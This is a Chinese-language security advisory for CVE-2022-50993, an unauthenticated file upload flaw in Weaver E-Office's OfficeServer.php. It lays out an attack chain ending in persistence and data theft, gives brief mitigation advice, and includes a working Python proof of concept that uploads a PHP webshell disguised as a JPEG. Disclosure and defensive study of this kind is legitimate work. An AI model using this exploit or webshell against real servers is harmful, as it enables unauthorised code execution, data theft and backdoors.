IPBUF安全漏洞报告
English
CVE-2022-50993 CVSS 9.8 严重

CVE-2022-50993 泛微E-Office未授权任意文件上传漏洞

披露日期: 2026-04-30

漏洞信息

漏洞编号
CVE-2022-50993
漏洞类型
任意文件上传
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
泛微E-Office (Weaver E-Office)

相关标签

RCE任意文件上传泛微E-Office未授权访问

漏洞概述

泛微E-Office在10.0_20221201之前的版本中存在严重的未授权任意文件上传漏洞。攻击者无需身份认证,即可利用OfficeServer.php接口通过构造恶意的multipart POST请求上传任意文件。由于系统未对上传文件的类型和后缀进行有效校验,攻击者可上传PHP Webshell,并通过HTTP请求访问执行,从而获取服务器权限,造成远程代码执行。该漏洞利用门槛低,危害极大。

技术细节

该漏洞的核心在于泛微E-Office的OfficeServer.php接口对文件上传处理存在逻辑缺陷。攻击者无需登录账号,直接向该接口发送构造的multipart/form-data格式的POST请求。在请求包中,攻击者可以将恶意PHP代码伪装成正常文件(通过修改文件名为.php,同时设置Content-Type为允许的类型如image/jpeg),绕过前端或中间件的简单过滤。服务器接收请求后,会将文件保存到默认的Document目录中。由于系统没有对上传后的文件进行重命名或后缀白名单校验,攻击者可以直接预测文件的访问路径。随后,攻击者通过浏览器发送GET请求访问该PHP文件,Web服务器解析器执行恶意代码,导致攻击者获得服务器端的远程代码执行权限(RCE)。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描互联网或内网,寻找使用泛微E-Office且版本低于10.0_20221201的目标服务器。
STEP 2
步骤2:漏洞利用
攻击者向OfficeServer.php接口发送特制的POST请求,携带恶意的PHP文件(如Webshell),利用文件上传漏洞将文件保存到服务器Document目录。
STEP 3
步骤3:代码执行
攻击者通过浏览器发送HTTP GET请求访问已上传的PHP文件路径,触发服务器端解析执行恶意代码。
STEP 4
步骤4:权限维持
成功获取Webshell后,攻击者可以进一步提权、窃取数据库数据、安装后门或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target/e-office10/public/index.php/OfficeServer" upload_path = "/Document/shell.php" # Malicious PHP payload php_payload = "<?php system($_GET['cmd']); ?>" # Construct multipart form data files = { 'File': ('shell.php', php_payload, 'image/jpeg') } data = { 'OPTION': 'UPLOAD', 'COMMAND': 'SAVEFILE' } try: # Send upload request response = requests.post(target_url, files=files, data=data) if response.status_code == 200 and "SUCCESS" in response.text: print("[+] File uploaded successfully.") print(f"[+] Webshell path: http://target{upload_path}") else: print("[-] Upload failed.") except Exception as e: print(f"Error: {e}")

影响范围

Weaver E-Office < 10.0_20221201

防御指南

临时缓解措施
建议立即升级至安全版本。若无法及时升级,应通过WAF拦截相关攻击请求,或在服务器配置层面禁止在上传目录执行PHP脚本,以阻断攻击链。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表